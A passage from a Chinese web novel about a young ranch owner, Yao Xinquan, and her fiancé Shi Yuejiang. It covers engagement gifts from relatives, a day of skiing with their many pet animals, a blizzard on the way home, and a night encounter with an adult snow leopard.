姚新泉赶忙道，“大哥你对我们的好我跟月江都明白的，但既然是给儿媳妇的，那我留一套，你也留一套将来给嫂子。” 师星野失笑，嫂子？谁知道他们嫂子还在哪个犄角旮旯里呢？ “你们不用计较这么多，这两套首饰只是家里早年的珍藏，真说起来谁知道到底是 谁家的传家宝，你留着就成。” “盛世古董，这东西未来只会升值的。” 姚新泉有些为难地看向师月江，这咋搞啊？她收得确实很有压力啊！ 师月江想了想还是推给他哥，“哥，你去帮新泉在银行办个保险柜把这两套首饰放在银行保管，放家里要是丢了，那我俩可真哭瞎了眼都找不回来！” 师星野白了他一眼，见姚新泉同意他也点了点头，“那成，回头我去给你存起来，到时候回执给你”，他是表明这东西不管送出去了那就是姚新泉的，不管她是否放在身边。 姚新泉的目光又落在了那堆玉饰上，确定它们是自己的了，她不免又多出了几分喜爱来。 里面共有三枚玉佩，各具风姿。 其中一枚镂雕双鱼戏莲佩，两条玉鱼首尾相逐，莲叶舒展的弧度恰到好处，鱼鳞以极细的阴线刻画，活灵活现。 另一枚山水人物佩不过寸余，却层次分明，远山近亭、小桥行人都清晰可辨，背面刻着“山静似太古”五字行书。 第三枚是罕见的血沁玉龙纹佩，白玉中透出丝丝缕缕的朱砂色，盘龙双目镶嵌两粒墨玉，在暗处隐隐泛着幽光。 另外还有四支玉簪陈列在绸缎上，最长的凤头簪通体碧绿，凤首高昂，口中衔着一串细如米粒的玉珠链，轻轻晃动便发出清越的声响。 另两支白玉簪分别雕作含苞的玉兰和绽放的秋菊，花瓣薄得能透光，花蕊处点缀着金粉，在烛光下熠熠生辉。最特别的是一支墨玉簪，通体乌黑发亮，簪头却巧雕出一朵雪白的莲花，黑白分明如一幅水墨画。 还有一对翡翠耳坠形似水滴，内部天然形成的絮状纹路宛如流动的碧波，金丝缠绕的挂坠随着动作轻轻摇曳，在颈间投下粼粼绿影。 最角落里还藏着一枚蟠螭纹玉带钩，青玉质地，螭龙盘踞的形态矫健有力，龙须发丝都清晰可辨。 姚新泉极爱这套玉饰，那种温润动人的感觉，还有那历经岁月沉淀的质感都很让人着迷。 是老物件儿了，但既不似新玉般刺目，也没有老玉常见的浑浊。光泽内敛而深沉，真是让人爱不释手啊！ 师月江收起了两套首饰递给师星野让他继续带着，几位在一旁看着的长辈对视一眼眼中都很是震撼，他们还真以为今天只是见面吃饭简单把婚事定下来呢！ 张运秋有些尴尬，哪怕他这么想得开的人都不免有些自惭形秽，他咬了咬牙也掏出了一个小盒子，“我跟你小姨条件有限，也没准备太好的东西，这有一对金耳环、一枚金戒指还有一条金项链，等回头你们结婚了，小姨父再送一对金手镯，也算是把一套打齐了。” 苏永华见姚新泉想拒绝忙拦了一下，“这不是这两天才准备的，我跟你小姨夫偷着准备好几年了。” 她叹了口气，眼中有惆怅，“金子不能随意买，但我们琢磨着你总要结婚的，到了那时候谁知道我们手头是松还是紧啊！所以手头松一些的时候我们就偷摸买点儿存着，存到现在也有这么多了。”他俩没给张新康存金子，以来家里的家底儿将来都是他的，二来如果将来他结婚需要买，她们肯定会买的，咬牙也给买。 但有时候他们也难免自我怀疑，真到了需要“咬牙”的时候，给儿子“咬牙”还是给外甥女“咬牙”，万一他们真要做选择，那是谁也不想见到的事情。他们也不想考验自己，那就提前买！ 她跟张运秋早几年日子吵吵闹闹的，但无论再怎么吵闹，两人在对待姚爸姚妈还有要新泉的事情上都是一条心的，没什么你的亲戚我的亲戚这种话。 她当初再怎么觉得张运秋不老实跟那些女顾客走得太近，她也从不怀疑张运秋把她姐姐姐夫也当自己姐姐姐夫来对待的。 两人确实舍不得钱，但这钱要是给了姚新泉两人也能咬牙出了！ 姚新泉一时间不知道该说些什么，这东西她真收不下去啊，就算都不是特别粗的金饰，但也不少钱呢！ 师月江想了想还是道，“收下吧，以后日子长着呢！” 等回头看看小姨他们还想不想做别的生意，他是不太懂这些，到时候可以让他哥支招啊！ 都是一家人嘛！ 姚新泉笑着收下了，“那小姨你们放心，回头家里的羊肉牛肉，只要我牧场上有，那肯定少不了你们的！” 张运秋哈哈笑了起来，“我们没送你礼物的时候你不一样没少了我们的嘛？” 所以说他为什么舍得花这个钱？孩子值得啊！ 如果说姚爸姚妈走了之后姚新泉跟他们生分了，他这个钱可能一样会出，但是将来他们就真是两家人了。 但这孩子自己做事敞亮大气，他自然也不能小气！ 姚晓洁在一旁嘟嘟囔囔，心里觉得自己就不该跟二哥一起合买，两家平摊自己倒是没多少压力，但是在张运秋他们面前就跌份儿了啊！ 她心里后悔，可到底还是说，“新泉啊，我跟你小叔两家合买了一台21英寸的彩色电视机，东西放在我店里呢，你回头去提回家啊！” 她不大高兴地看了张运秋一眼，“我跟你小叔条件比不上你小姨家，不过我们心意和祝福也不比他们少！” 在姚爸姚妈面前比了一辈子了，姚晓洁根本忍不住去比较，虽然自己总是输…… 姚晓刚扶了扶眼镜，“你小叔我能力有限，希望你不要嫌弃。” 他心里一片苦涩，肖美燕为什么这次这么不给他面子，也不让姚新泉他们痛快？之前她哪怕心里有什么想法，至少从来没表现出来过！ 当初姚新泉上学的时候，冬天不方便回家住，那时候住校条件也差，他就让孩子跟自己回家住。他知道肖美燕心里不痛快，但她哪怕不高兴，哪怕有时候说一些不着四六的话，但至少没像这次一样。 还不是因为这次出钱买电视机家里出血了！ 这台电视机到手价差不多是2800，一家出了1400左右，这钱可是他好几个月的工资啊！ 可姚晓刚就是舍得，怎么可能舍不得呢？ 他一直以来都喜欢这个懂事又学习好的侄女，当初自己受了多少照顾？如今还回去的才有多少？ 当初因为他们三个，县里好多人背后都在说他哥哥是个傻的，为了他们两个结婚晚，等结婚后，夫妻俩为了这三个又决定晚一点生孩子，他们夫妻两个是真的把弟妹们当作自己的责任来负担的！ 想到这里姚晓刚只觉得眼睛酸疼，更觉得今年过年都无颜去给大哥上坟了。 他看向别处掩饰了眼中的泪意，“月江啊，我就这么一个侄女儿，我哥他们就这一个孩子，新泉脾气好，又讲道理，你们将来过日子都有商有量的，别吵别闹。这孩子是我从小看着长大的，她上学那几年每年见到我的时间比见到她爸妈的时间都长，所以我知道这孩子的性格，她其实是有点固执的，万一你俩要有说不到一起去的时候，你别跟她吵，更别跟她动手。我是个没出息的，但我只有新泉这么一个侄女儿啊！” 他声音里的哽咽众人都听得清楚，姚晓洁在一旁还是没忍住嘟囔，“二哥，你回去好好管管你媳妇儿和闺女，她们这个样子瞎搞，将来你哪里还有脸见大哥大嫂啊！大哥大嫂肯定得骂你白眼狼！” 张运秋就坐在姚晓刚旁边，只看到姚晓刚眼泪唰得就流了下来，他无语地看了一眼姚晓洁，这还得是亲妹妹啊！ 第205章 姚新泉眼尖见到师星野又要拿出别的来,她赶忙拦了下来，“大哥，今天我跟月江订婚,你专门跑来一趟,又给了我那么多好东西已经足够了！” 昨天晚上师月江跟她说,他哥想把他自己的股份转给姚新泉一部分,姚新泉肯定拒绝啊！ 开什么玩笑,师月江和师星野两人平分股份这个事情她光听着都觉得对师星野来说不公平,更别说再给自己一部分了。 他们感情深归深，但师月江确实没怎么插手过家里的事情，都是师星野自己扛起来的，现在他再给出一部分,姚新泉真觉得过意不去。 再说了,她也不想要。 她又不会经营,又志不在此，做什么非要那些股份？ 她自己有牧场，能赚钱,自己本身也不缺钱。至于师月江那边,他有分红，也不缺钱。现在两人没结婚,那在经济上还是分得开,可等结婚之后两人的财产哪还能分得那么开？她享受师月江应得的也就是了。 师星野看了师月江一眼,见他也很是赞同,半晌无奈笑了笑，“我这想送还送不出去了，行，反正都是一家人,总归不会亏待你们的！” 其他几人不知道他们在打什么哑谜，但见师星野没再给别的也不由松了口气。 不是他们不盼着自家孩子好，主要是有时候两家差距太大了，他们不免会有些发怵。 今天只算是个家常便饭，众人又聊了一会儿后师月江找车给它们都送了回去，又载着两人上山。 “新泉家里人都挺不错的”，师星野笑道。 姚新泉往后看了一眼，“我还以为大哥你要不高兴了呢！” “这有什么的”，师星野失笑 ，谁家没几个算计过来算计过去的人？偏还觉得自己聪明的不行。 “回去后我再待一天就得回北京”，不等他说完师月江就问，“怎么不多待两天？咱们不一起过年嘛？” 他有些沮丧，他跟师星野多少年没一起好好过年了。 “年前我再过来”。 师月江这下没再说什么，回去后跟姚新泉还有师星野三人一起喂了家里牲畜后便各自休息去了。 师星野短暂地来过后又走了，牧场里又恢复了往日的生活，一开始师月江还因为两人身份的转变有点不好意思，但姚新泉十分坦然，慢慢地他也恢复了往日的模样。 “新泉，又下雪了！”师月江敲了敲姚新泉的门，姚新泉打了个呵欠爬了起来，裹了件大棉袄这才出来开门。 她一脸无奈，“你就这么想去滑雪啊？” 前两天她随口说了一句等再下一场雪，雪大了大家就去滑雪，这不，师月江一大早就爬起来敲门了。 师月江嘿嘿一笑，他把姚新泉睡炸毛的头发撸到耳后，“雪不小呢？出去嘛？” 她眯起眼睛，看着眼前这片被新雪覆盖的世界，牧场的围栏只露出顶端的一线黑，远处的山峦更像撒了糖霜的面包，阳光照在雪地上，反射出细碎的钻石般的光芒，刺得人眼睛发疼。 她叹了一句，“可真是个滑雪的好日子啊！” “大哥之前带过来的滑雪板你翻出来了？” 师月江得意地指了指廊下，“那不是吗！”他大哥说他们在这边冬天也没个能玩儿的，就给它们带了几副滑雪板，让他们找找乐子。 姚新泉赶紧爬起来洗漱，早饭是师月江做的，专门磨了豆浆，热的昨天蒸的包子，是黄萝卜羊肉馅的。 师月江去盛豆浆，姚新泉拿包子，她把锅盖掀开，热腾腾的白雾中隐约现出几个鼓胀的包子。 包子皮薄得几乎透明，透出里头黄萝卜的淡金色。用指头一碰，面皮便微微凹陷，又缓缓回弹，“昨天这面发的可真好！” 家里没发酵粉了，她也懒得下山买，干脆自己用老面做的面引子，也算是废了好几天的时间。 “我要下山买发酵粉你还不让”，师月江忍不住吐槽，弄个面引子花了好几天的时间，和好面后放在那发酵，光发酵酒花了三天时间呢！直到面膨胀到将近两倍大，还松软多孔算是发好了。 之后又专门放在冰箱里养着，还得定期往里面喂面粉保证里面酵母的活力，反正还挺废事儿的。 姚新泉白了他一眼，“不过就是等了三天而已，你可真是！” 师月江笑了笑没再说啥，其实也还好，冬天嘛，没啥事情就给自己找点事情忙呗！ 姚新泉把包子捡出来，两人坐在餐桌前，她捏了个包子出来，轻轻咬破一角，汤汁瞬间便溢出来，汤汁里还浮着一层金黄的油星。 这羊肉馅他们剁得很细，跟黄萝卜丝纠缠再一起。羊肉是嫩的，萝卜虽然经过蒸制后变软了些，但依旧有着一些韧劲儿，另外萝卜的甜味也被激发了，牙齿咬下去，似乎还能发出细微的咯吱声。 那黄萝卜的甜味甚是奇妙，姚新泉只觉得羊肉都不膻了，反勾出肉里深藏的鲜来。 姚新泉不喜欢在馅料里吃到姜，所以师月江干脆用姜末泡水和在馅料里，这样一来有姜味，却又不会吃到生姜，姚新泉很喜欢。 包子皮是用今年的麦子磨出来的新面粉蒸的，带着十足的麦香，内里还浸了肉汁，外韧内软。 姚新泉一连吃三个，又喝了一大口豆浆，额头上都渗出了细汗，她的筷子不由自主地伸向第四个，却没忍住打了个饱嗝。 姚新泉嘿嘿一笑，师月江满脸无奈，“行了，你再撑着，就这么好吃啊？” “我早上就喜欢吃包子，什么都没包子好吃！而且用羊肉包包子的话，跟胡萝卜或者黄萝卜那就是绝配！” “你那天吃羊肉皮牙子的饺子的时候也是这么说的”，师月江轻笑，姚新泉则是忍不住踢了他一下，“那是饺子，这是包子，不一样！” 师月江好脾气地投降，又给她夹了一瓣糖蒜。 这糖蒜也是他们自己腌的，从前他哪里会腌糖蒜啊！ 但如今摸索着来，却觉得多了别样的趣味！ 两人收拾好家里的东西后师月江拎着滑板就准备出门，姚新泉想了想还拿了两个尿素袋子出来。 “这玩意儿滑雪也好玩！” 两人刚要出门就被眼前的小家伙们给堵住了，姚新泉懵了一下，“你们不会也想去吧！” 两人面前坐了一堆小动物，狗狗军团自然不提，小金和红隼都落在娜娜身上，如今娜娜已经是成年体型了，往那儿一站，比羊都大，完全能撑住他们俩。 小雪豹、沙漠猫和莱尼待在一起，沙漠猫和莱尼都很怕冷，但他俩现在都穿着师星野专门让人定做的保暖衣服，裹得严严实实的，又跟小雪豹挤在一起，倒也不觉得冷。 皮皮、平安还有三匹汗血宝马以及大马鹿挤在一起，姚新泉看得头都大了，“你们都要去啊？” 她想说，我们是去滑雪的，你们这么大的家伙跟着去干嘛啊？ 可是对上小家伙们期盼的目光她又忍不住屈服了，“要不，一起？” 师月江失笑，“走吧”。 两人怕万一摔倒或者滚到雪里到时候再把军大衣弄湿了，所以两人都换了羊皮袄子，一样保暖。 因为雪还挺厚的，所以两人干脆换上了滑雪板，师月江之前滑过，蹲下身给她调整了下松紧度后两人往前走去，后面跟了一群小家伙以自己的方式前行。 两人早就看好了一片地方，无论是坡度还是什么的都很合适，也没什么障碍物，正适合滑雪，两人就往那边走去。 没一会儿姚新泉回头就发现皮皮几个没跟上了，反而在往回走，她莞尔一笑，就知道这几个家伙肯定不愿意一路跟过来所以刚才就没拦。 如果是野生族群的马或者鹿想要觅食，别管外面多厚的积雪，该去就是得去，可这几个家伙都吃的饱饱的，只是为了跟着玩儿，那估计是不会的。 这几个家伙里面就没有体重轻的，再加上蹄子都那么小，这雪又是才下完，轻轻一踩就往下陷。他们倒也不是不能走，就是费劲儿。 大马鹿估计能习惯，其他几个可就算了吧！ 师月江走在前面，滑雪板在未经踩踏的雪地上划出两道清晰的痕迹。清晨的空气凛冽纯净，每次呼吸都像吸入了一把冰针，神清气爽，肺里好像都都快被冰冻了一样。 姚新泉跟在他身后，虽然她是本地孩子，但是在雪里确实不太会分辨方向，这方面反倒是不如师月江了，只好跟着他往前滑。 两人的身影在广袤的雪原上显得格外渺小，身后还跟了一串小朋友。 “快到了”，师月江突然停下，指向远处一片云杉林。树木的枝干被积雪压弯，形成天然的雪拱，在晨光中闪烁着银蓝色的光芒。“云杉能挡住风，后面的雪一定又软又厚。” 两人看好的地方就是那儿，他们朝着目的地进发，随着海拔升高，雪变得越来越蓬松，滑雪板陷进去时还会发出轻微的咯吱声。 好不容易到了地方，两人互相撑着才能站住，脸颊因为运动和寒冷而泛红，相视一笑看向前方。 第206章 一片开阔的碗状雪坡展现在面前,坡面平整得像被精心修整过，没有任何岩石或灌木的干扰。新雪在阳光下泛着淡淡的粉色，仿佛一块巨大的草莓蛋糕,两人不禁屏住呼吸。 “完美！”师月江兴奋地握紧滑雪杖,“这坡度估计也就25度,足够刺激又不会太危险。” 他还稍微好一点,有经验,姚新泉没滑雪的经验,不能上来就玩儿刺激的。 两人卸下背包，开始做滑雪前的准备。师月江帮姚新泉调整固定器的松紧度，手指熟练地拧着螺丝。 “不能太紧，不然摔倒时容易伤到膝盖,”他解释道,“不过也不能太松,太松了不好控制方向。” 姚新泉看着他专注的侧脸，突然凑上去亲了一下。师月江愣了一下，随即笑起来,鼻尖和耳朵都冻得通红。 姚新泉隔着手套摸了摸他的耳朵,“师教练，专心点！” 师月江起身后蹭了蹭她的脸,笑笑没说话。 准备就绪后,他们站在坡顶,俯瞰着即将征服的雪坡。师月江看向姚新泉,“滑雪的方法我都教你了，你别紧张，那我先滑？” 姚新泉点了点头，,师月江看向雪坡，他深吸一口气，滑雪杖轻轻一撑，整个人就像离弦的箭一样射了出去。 姚新泉知道他会不少运动并且热爱运动，可还是第一次见他这么自在肆意又放着光的模样。 他的姿态优美而有力，膝盖微屈，身体前倾，滑雪板在粉雪上划出两道完美的弧线。扬起的雪沫在阳光下闪闪发光，耀眼无比。 师月江在坡顶看着他远去的身影，心跳加速。当师月江到达坡底，变成一个小黑点时，他挥舞着滑雪杖示意安全。 现在轮到她了。 她深吸一口气，冰冷的空气充满肺部。滑雪杖一推，重力立刻接管了一切。起初的几秒钟是可怕的失控感，仿佛站在悬崖边缘，姚新泉脸色都变了。 但很快，她按照师月江所说的办法接管了身体，她找到了平衡点。风声在耳边呼啸，雪板下的雪发出轻柔的沙沙声，整个世界似乎只剩下速度与白雪。 半坡处，她随着心意做了一个漂亮的转弯，滑雪板边缘切进雪层，激起一阵雪浪。转弯的离心力让她心跳加速，但速度带来的刺激感又让她整个人都激动了起来。 当她滑到坡底时，师月江一把抱住了她。 “太棒了！”师月江在她耳边喊道，呼出的白气与她的交织在一起，姚新泉看着他的眼睛突然捧住他的脸吻了上去。 良久两人气喘吁吁地分开，互相看着笑了起来，姚新泉，“再来一次？” 师月江愣了一下，随后便想捧住她地脸，姚新泉则是笑着避了过去，“我说再滑一次。” 师月江失笑摇头，跟在她身后往上面走。 两人刚走没两步姚新泉听着动静便赶忙伸出了胳膊，小金稳稳落在了她的羊皮袄子上，跟在她身后的红隼则是落在了师月江的肩膀上。 姚新泉嘶了一声，师月江赶忙问，“怎么了？” 她摇了摇头，“咱姑娘有点激动，抓着我胳膊有点用力，不过还好我今天穿了羊皮袄子，不然胳膊肯定得青一块儿。” 她戳了戳小金的鸟喙，小金像是知道自己做错了事情一样委屈巴巴地往后缩了缩，她一动姚新泉吓得赶忙扶她，“闺女你可别乱动，你现在这么重，我根本撑不住！” 有力气跟能撑住是两码事，这家伙哪怕控制自己不要把全部重量都落在她肩膀上，那也不是等闲小鸟啊！ 姚新泉无奈把收拢了翅膀的小金抱在了怀里，还是抱着吧！ 两人正往回走呢，听见动静又看了过去，这一看，眼睛便瞪大了。 “好家伙，你看到了吧？”她不可置信地问师月江，师月江扑哧笑出声来，“我真是……” 他看到了啥？ 小雪豹趴在莱尼身上，沙漠猫扒在雪豹身上，正从坡上往下滑呢！ “不是，为啥踩着莱尼啊？”师月江有点心疼自个儿闺女，但突然灵机一动，“不会因为那衣服吧？” 姚新泉也反应过来了，她扑哧笑出声来，“那得怪你哥了！回头你跟你哥说说他大侄女儿被欺负了！” 师月江无奈地搂着红隼继续往前走，真该买个相机拍来让他哥看看！ 这都啥啊！ “你哥怕莱尼被冻着，专门给她买的保暖防水外套，这玩意儿可够滑的啊！” 所以莱尼就趴在雪上往下滑，身上摞了两个…… “可真行”，师月江无奈地笑了，他也懒得管几个小家伙，毕竟管也管不过来，这不是，狗狗军团们也从上面连滚带爬地滑下来了嘛？ 他们花了整个上午在那片雪坡上往返滑行，每次滑下都有新的发现，有一个地方的雪特别蓬松，还有一个方向竟然有个天然的小跳台。 师月江尝试了几个跳跃动作，落地时激起大片雪雾，姚新泉到底是第一次滑雪，没敢跳跃，不过她确实也更偏爱长长的、流畅的之字形下坡，每次滑下去后都会站在坡下面欣赏自己在雪地上留下的优雅蛇形轨迹，当然了，并不能看清。 中午时分，他们在雪松林边休息。两人跟一群小动物挤在一颗大树后面避风。 师月江把保温壶拎了出来，里面装着奶茶，还是温热的，他赶忙递给姚新泉。 然后又翻出另外一个保温壶，里面是烧开了的纯牛奶，他试了下温度后掏出一个小碗倒了些递给小家伙们，“赶紧喝，不然就冻住了！” 也就是还没到滴水成冰的时候，不然哪里能在室外这样喝？ 他没带包子，就带了两张硬邦邦的馕跟几个煮好的鸡蛋，鸡蛋已经冻得都是冰渣子了，他也没吃，就撕了半张馕给姚新泉。 他接过奶茶也喝了起来，一边自己吃馕一边给小家伙们喂。 大家倒是来者不拒，不管平时是吃肉的还是吃素的都给吃了。 一顿凑合的午饭，在冬日的暖阳下却比任何山珍海味都美味。 下午，他们扩大了探索范围，找到了几处相连的小坡，可以一口气滑很长时间。有段路线穿过另一片云杉林，树干上的冰凌像水晶吊灯一样垂下来，阳光照射时还会折射出七彩光芒。他们一前一后穿行其间，滑雪板带起的雪粉惊飞了几只藏在树枝间的松鸡。 师月江忍不住笑出了声，姚新泉也被这突如其来的小插曲逗乐了。两人继续滑行，享受着这片雪域带来的无尽乐趣。 无论两人走到哪里，身后都跟了一群小家伙们。 姚新泉滑累了，她把滑板脱了坐在坡上，想了想把之前带过来的尼龙袋子翻了出来，“来来，试试这个！” “怎么玩？”师月江懵了一下，但也被姚新泉催促着把滑板卸下来。 “你坐在前面，抓着尼龙袋子的两个前角，我坐在你后面抱着你的腰，我们就这样滑下去！” 师月江莞尔，“行”，他整理好尼龙袋后坐了上去，示意姚新泉“上车”。 姚新泉跨坐在上面抱紧了师月江的腰，师月江往前蹬了蹬，“抓紧了”。 话音刚落，他脚用力往后一蹬，两人顺着坡就往下滑了起来。 姚新泉用力抱住他，师月江感受着身后的温度也忍不住哈哈笑了起来。 下午三点多时两人便打算回去了，从家里到这里路不算远，只是因为有雪走起来不算方便，还是早点回去吧。 两人收拾着东西，小家伙们也似乎知道要回家了，一个个都变得安静起来，乖乖地跟在他们身后，不过见他们一个个咧着嘴都像是在笑一样，两人俱是莞尔。 两人今天玩得都很高兴，师月江突然提议道，“等我哥回来之后咱们再来玩一次吧，到时候可以把新康也叫上！” 姚新泉欣然同意，大冬天的有意思的活动实在是不多，滑雪这种季节限定的活动就更显得有趣了。 不过她有点好奇地问道，“大哥滑过雪嘛？” 师月江点头，“滑过，不过他应该没像咱们一样滑过野雪”，国内现在这种地方不多，但是国外还是有不少滑雪场的，他好像听他哥说去过。 两人收拾好东西后一路聊一路往家里走身后跟着一群可爱的小家伙。夕阳的余晖洒在他们身上，将他们的影子拉得很长很长。 姚新泉看了看时间后眉头皱了起来，“得加快速度了，最多还有半个小时就又要下雪，而且风还不小。” 她昨天查看过系统的天气预报，但今天玩儿的高兴，一时间给忘了。 师月江也没问她从哪里知道的，只是嗯了一声，加快了回去的脚步。 但北疆的天气变化比他们预想的更快。转眼间，风就大了起来，卷着雪粒打在脸上生疼。能见度迅速降低，很快连不远处的云杉都看不清了。 师月江抓住姚新泉的手，大声喊，“跟着我！别松手！” 姚新泉一把抄起在身边的沙漠猫塞在了怀里让他自己抓好，这家伙太小了，被风一吹就很难走。 两人还有身后一群动物顶着风往家里赶去。 第207章 能见度急速下降,远处的山影消失了，连近处的树木也模糊起来。风越来越大，呼啸着掠过耳际,像无数把钝刀刮着脸颊。雪粒打在脸上,生疼。 师月江紧紧拉着姚新泉的手,姚新泉眯起眼睛,试图辨认方向,但她本身就不太会在雪地里找方向,更别说如今四周白茫茫一片，天地仿佛融为了一体。 师月江深吸一口气，冰冷的空气刺得肺管子发疼，但脑子却清醒了些。 他很确定方向没问题,距离应该也不算太远了,只要按着方向往前走就可以。 他弓着身子,顶着风往前挪。滑雪板在深雪里变得笨重，每滑一步都得把腿从雪堆里拔出来，再费力地踩下去。风卷着雪沫往领口里灌,脖子里像是塞了一把冰碴子 ,又凉又扎。 姚新泉摸不准方向，但她很信任师月江,顺着他的方向努力往前走去。 她回头看了看,见小家伙们还都艰难跟上了心里这才放心了几分,不过不免心下嘀咕,之后就算要出门也得看好天气。 之前抱着侥幸心理，或者是觉得玩不到那么晚就能回来，结果这下好了。 姚新泉哀叹了一声，只能蒙着头继续往回走。 雪越下越大,风越刮越猛。两人都低着头，盯着雪面，生怕一脚踩空跌进沟里。偶尔抬头，也只能看见白茫茫的一片，连天和地的界限都模糊了。就算带着护着耳朵的雷锋帽，但耳朵也冻得没了知觉，只有风声在脑子里嗡嗡地响，像是有谁拿着铁皮桶在耳边使劲敲。 但谁也不敢停，这种风雪是真的能冻死人的。 一路跌跌撞撞走了不知多久，突然姚新泉隐约看到了自家房子，她激动地扯了扯师月江的手，“是不是要到了？” 师月江也激动地点头，两人加快了速度，但人早已筋疲力尽，剩下的几百米像是一道无法跨越的鸿沟。 不知走了多久，终于，终于到家了。 师月江松了口气，把门打开后将东西扔在地上，瘫坐在廊下大喘气。 姚新泉也累得不行，她把小沙漠猫塞到师月江怀里，又去数小家伙们，见一个没少这才松了口气。 万幸啊！ 这要是少了哪个，就算现在回头都不一定能找到！ “进去缓一缓，然后洗澡换衣服，再吃点感冒药”，师月江艰难地爬了起来，把身上的羊皮袄子脱了下来在门口用力甩。羊毛给冰雪给裹住变成一缕一缕的，看起来狼狈得不行。 但是到了温暖的屋里，羊毛上的冰雪又化成了水，没办法只能挂在门口，等有空了再收拾。 姚新泉回头看了一下小家伙们，从之前的眉开眼笑已经变成臊眉搭眼了。 她忍不住笑了起来，“行了行了，先进来暖和一会儿，等身上雪化了再给你们收拾！” 几个小家伙玩儿的太狠了，毛上落了雪，又因为剧烈活动身上太热了，雪化成水，结果就这样冻在毛上了，一缕一缕的。 “好狼狈啊！”姚新泉把耷拉在毛毛额前的毛发撸了上去，毛毛想来蹭她，她赶忙一个大后退，“你们都趴那儿去，一身的水就别往我身上蹭了！等你们身上化了再给你们擦干。” 小家伙们排排坐，趴在那边等雪化。 姚新泉给莱尼和小沙漠猫把衣服脱了，两个小家伙昂首挺胸地在一群小伙伴面前走来走去，看的姚新泉无奈摇头，“可真欠揍！” 果不其然，没一会儿那边小雪豹就扑到了莱尼身上，其他小家伙也渐渐扑了上来，姚新泉端着奶茶欣赏了一会儿后就没再看了。 “家里有板蓝根，咱们泡两包喝一下”，至于小家伙们，等他们消停下来后再看看有没有症状，没有的话就不用处理了。 师月江在煮面，他嗯了一声，“你吃煎蛋还是荷包蛋？” “荷包蛋吧”，她不太喜欢煎蛋焦脆的口感。 师月江炒碎了两个鸡蛋，又把之前做好的西红柿酱挖了一大勺放进去，炒香后倒入水，煮开下面。 来不及擀面了，就下的挂面，等面条软了之后他磕进去两个荷包蛋，调好味道姚新泉端着面碗准备出去，才刚迈出厨房的门，姚新泉就听到一声吼声。 那声音低沉浑厚却又带着一股奇异的魔性，像是在咆哮又像是小猫嗓子里发出的咕噜声。 姚新泉吓了一跳，手上的面碗差点都没端住，还是师月江赶忙扶了一下。 姚新泉头都大了，她把碗放下，过去戳了戳小雪豹的脑袋，“我有没有教过你们，不许在屋子里大声叫唤？” 这几个家伙撒娇打闹的声音倒也罢了，但是一正儿八经叫起来，那真是吵得人脑子疼，姚新泉根本忍不了。 她揪着小雪豹的耳朵，小雪豹委屈巴巴地趴在地上，看的姚新泉忍不住露出个笑来。 没再理会打闹的小家伙们，两人就着泡菜吃了个西红柿鸡蛋面，真香！ 饭后等小家伙们身上的雪差不多化了，两人一人拿了一条大厚毛巾，给小家伙们好好擦了擦，又看了看他们没有什么特殊的症状这才放下心来。 他们送的电视机已经拿回来了，晚上也没什么好看的节目，两人就没看电视，靠在一块看了会儿书便各自洗漱睡下了。 半夜姚新泉总觉得外面好像有淅淅索索的声音，她被吵得睡不着觉，拉开台灯刚要说话就听到系统播报，“经检测，宿主右前方十五米处有一只动物需要救治，是否要救治？” 姚新泉？？？ “你说多少米？” “十五米哦！” 姚新泉深吸一口气闭了闭眼，“你怎么不等它跳到我脸上来再通知我？” “不会的哦，它没办法进屋的。” 姚新泉…… 她真是多余跟系统吵。 “那你现在为啥播报了？” “因为你醒了啊！”系统理所当然地回复，“你睡着的时候我都没提醒你，你醒了我才提醒的，我贴心不？” 姚新泉…… 她叹了口气起身穿衣服，她随手抄起床头的一根棍子，这根棍子是从她回来之后就放在床头的，这一年多都没扔出去过。 她捡起棍子后小心地拉开房门，冷风夹着雪粒扑面而来，姚新泉不由打了个寒噤。 廊下有一盏吊灯，但是晚上都是关着的，她也不敢贸然打开，四下里白茫茫一片。 雪还在下，却比先前小了许多。她拿着棍子小心四下打量，突然发现之前在屋里听到的淅淅索索声音好像停了？ 姚新泉屏息静气，只听得自己心跳如鼓，她突然觉得身后不对，转身举起棍子便要敲下去。 “是我”，师月江一个翻滚避开，他有些无奈地低声道。 姚新泉吓了一跳，赶忙收起棍子朝他伸手，师月江借力站了起来。 “你也听到了？”姚新泉低声问。 师月江点了点头，他也是被吵醒的，他本想出来看看，没想到姚新泉胆子这么大！ 两人小心地往前走，脚落在雪地上非常轻，生怕发出嘎吱声。 等两人绕到另一边去，蓦地，雪地里亮起四点绿光，幽幽地浮在半空。 姚新泉抓紧棍子的手不禁握紧了，师月江更 是上前一步挡在了她的面前。 谁也没想到那边一个家伙突然往这边跑了过来，师月江吓了一跳，“快回屋！” 他摆好架势准备应战，刚要往前就被姚新泉拉住了，“好像，好像是小雪豹？” 师月江一愣，就见它快步跑到了姚新泉身边，大尾巴在她腿上绕来绕去。 姚新泉看了看他又看了看那边的家伙，沉吟了一会儿，“月江，你把灯打开。” 灯一亮两人就看到那边是个啥了。 大雪豹。 她看了看小雪豹又看了看对方，有些迟疑，“是你妈妈吗？” 小雪豹哼唧两声，咬着姚新泉的裤腿就往那边走，师月江不禁拦了一下，“那家伙不熟悉，你还是小心点儿吧！” 这可是食肉的野生动物，靠的那么近危险太大了。 姚新泉安抚地拍了拍他的手，还是跟着小雪豹靠近了另一只雪豹。 大雪豹的尾巴被她叼在嘴巴上，她目光锁定姚新泉，或者说是她手上的棍子。 姚新泉见大雪豹没有对自己的靠近表现出抗拒，想了想还是把棍子丢在了脚下。 “是你妈妈吗？” 她实在是没办法从两只动物的外表上看是不是母子，这谁看得出来啊？雪豹不都长这样？ 但她能感觉到小雪豹靠近大雪豹时候的亲昵，她灵光一闪，“不会是下午你那声叫把她招来的吧？” 小雪豹自然没办法给她答案，但是姚新泉心里认定了就是这样。 大雪豹低吼了一声，小雪豹先是有些害怕地往后缩了缩，随后又像是不高兴了一样突然朝着他妈扑了过去，姚新泉吓了一跳。 本还担心两个家伙打起来，但没想到大雪豹一爪子将小雪豹拍倒在地，随后张嘴就咬住了他的后颈。 小雪豹呜咽一声不敢动了，可怜巴巴地看着姚新泉。 姚新泉…… 行吧，你妈还是你妈啊！ 没等她做什么，小动物房里的小家伙们从门帘子下挤了出来，一排排蹲在了姚新泉面前，小金更是鸣叫一声迅速冲上云霄。 第208章 “别别别,都消停一点”，姚新泉赶紧拦，不说别的家伙,小金那个架势感觉分分钟就要冲上去啄人家的眼睛了！ 她拦也不是因为别的,主要是那母子俩可不就是当妈的在教训儿子吗？ 她过去把蓄势待发的几个小家伙往后推了推,剑拔弩张的气氛终于缓和了下来。 